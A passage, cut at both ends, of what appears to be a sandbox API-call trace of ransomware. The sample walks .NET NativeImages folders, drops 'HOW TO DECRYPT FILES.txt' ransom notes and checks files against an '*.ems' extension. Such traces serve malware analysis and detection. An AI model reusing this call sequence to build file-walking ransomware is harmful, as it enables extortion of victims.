returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\System.Runtime.Remoting.ni.dll" [0106.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\System.Runtime.Remoting.ni.dll", pszSpec="*.ems") returned 0 [0106.287] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbbd15e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfbbd15e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfbe32bf, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xbc600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Remoting.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.288] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.288] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2f57f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfc2f57f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfc2f57f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5cae93d923c8378370758489e5535820", cAlternateFileName="5CAE93~1")) returned 0 [0106.288] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.288] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e83327, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e719250, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e719250, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Runtime.Seri#", cAlternateFileName="SYSTEM~1.SER")) returned 1 [0106.288] lstrcmpA (lpString1=".", lpString2="System.Runtime.Seri#") returned -1 [0106.288] lstrcmpA (lpString1="..", lpString2="System.Runtime.Seri#") returned -1 [0106.288] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.288] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Runtime.Seri#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#" [0106.288] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e83327, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e719250, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e719250, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.289] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.289] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e83327, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e719250, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e719250, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.289] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.289] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.289] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e83327, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e83327, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e83327, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0728af1479c3388cadf85ccfc2b12582", cAlternateFileName="0728AF~1")) returned 1 [0106.289] lstrcmpA (lpString1=".", lpString2="0728af1479c3388cadf85ccfc2b12582") returned -1 [0106.289] lstrcmpA (lpString1="..", lpString2="0728af1479c3388cadf85ccfc2b12582") returned -1 [0106.289] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\*.*") returned="*.*" [0106.290] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\", lpString2="0728af1479c3388cadf85ccfc2b12582" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582" [0106.290] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e83327, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e83327, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e83327, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.290] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.290] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e83327, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e83327, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e83327, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.290] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.290] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.290] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e37066, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e37066, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e5d1c7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Formatters.Soap.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.290] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.290] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll") returned -1 [0106.290] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll") returned -1 [0106.291] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll") returned -1 [0106.291] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\*.*") returned="*.*" [0106.291] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\" [0106.291] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\") returned="" [0106.291] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\HOW TO DECRYPT FILES.txt" [0106.291] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.runtime.seri#\\0728af1479c3388cadf85ccfc2b12582\\how to decrypt files.txt")) returned 0xffffffff [0106.291] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.runtime.seri#\\0728af1479c3388cadf85ccfc2b12582\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.363] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.364] CloseHandle (hObject=0x90) returned 1 [0106.364] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\System.Runtime.Serialization.Formatters.Soap.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\System.Runtime.Serialization.Formatters.Soap.ni.dll" [0106.364] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\System.Runtime.Serialization.Formatters.Soap.ni.dll", pszSpec="*.ems") returned 0 [0106.364] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e37066, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e37066, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e5d1c7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Formatters.Soap.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.364] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.364] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e719250, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e719250, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e719250, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="4a984a9ad59d14063bc6ae64a0c8f62a", cAlternateFileName="4A984A~1")) returned 1 [0106.365] lstrcmpA (lpString1=".", lpString2="4a984a9ad59d14063bc6ae64a0c8f62a") returned -1 [0106.365] lstrcmpA (lpString1="..", lpString2="4a984a9ad59d14063bc6ae64a0c8f62a") returned -1 [0106.365] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\*.*") returned="*.*" [0106.365] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\", lpString2="4a984a9ad59d14063bc6ae64a0c8f62a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a" [0106.365] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e719250, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e719250, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e719250, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.365] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.365] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e719250, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e719250, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e719250, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.366] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.366] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.366] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e5e874e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e5e874e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e65ab6e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x23d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Serialization.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.366] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.366] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.ni.dll") returned -1 [0106.366] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.ni.dll") returned -1 [0106.366] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.ni.dll") returned -1 [0106.366] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\*.*") returned="*.*" [0106.366] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\" [0106.366] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\") returned="" [0106.366] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\HOW TO DECRYPT FILES.txt" [0106.366] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.runtime.seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\how to decrypt files.txt")) returned 0xffffffff [0106.366] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.runtime.seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.370] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.370] CloseHandle (hObject=0x90) returned 1 [0106.370] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\", lpString2="System.Runtime.Serialization.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\System.Runtime.Serialization.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\System.Runtime.Serialization.ni.dll" [0106.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\System.Runtime.Serialization.ni.dll", pszSpec="*.ems") returned 0 [0106.370] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e5e874e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e5e874e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e65ab6e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x23d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Serialization.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.371] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.371] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e719250, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e719250, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e719250, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="4a984a9ad59d14063bc6ae64a0c8f62a", cAlternateFileName="4A984A~1")) returned 0 [0106.371] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.371] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5029e8b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf5029e8b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf5029e8b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Security", cAlternateFileName="SYSTEM~1.SEC")) returned 1 [0106.406] lstrcmpA (lpString1=".", lpString2="System.Security") returned -1 [0106.406] lstrcmpA (lpString1="..", lpString2="System.Security") returned -1 [0106.406] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.406] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Security" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security" [0106.406] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5029e8b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf5029e8b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf5029e8b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.407] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.407] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5029e8b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf5029e8b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf5029e8b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.407] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.407] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.407] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5029e8b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf5029e8b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf5029e8b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d9a485330ec2708456134e4a9712a4ab", cAlternateFileName="D9A485~1")) returned 1 [0106.407] lstrcmpA (lpString1=".", lpString2="d9a485330ec2708456134e4a9712a4ab") returned -1 [0106.407] lstrcmpA (lpString1="..", lpString2="d9a485330ec2708456134e4a9712a4ab") returned -1 [0106.408] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\*.*") returned="*.*" [0106.408] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\", lpString2="d9a485330ec2708456134e4a9712a4ab" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab" [0106.408] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5029e8b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf5029e8b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf5029e8b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.408] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.408] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5029e8b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf5029e8b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf5029e8b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.408] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.408] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.408] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4fb7a6a, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4fb7a6a, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4fddbca, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Security.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.409] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.409] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Security.ni.dll") returned -1 [0106.409] lstrcmpiA (lpString1="HOW 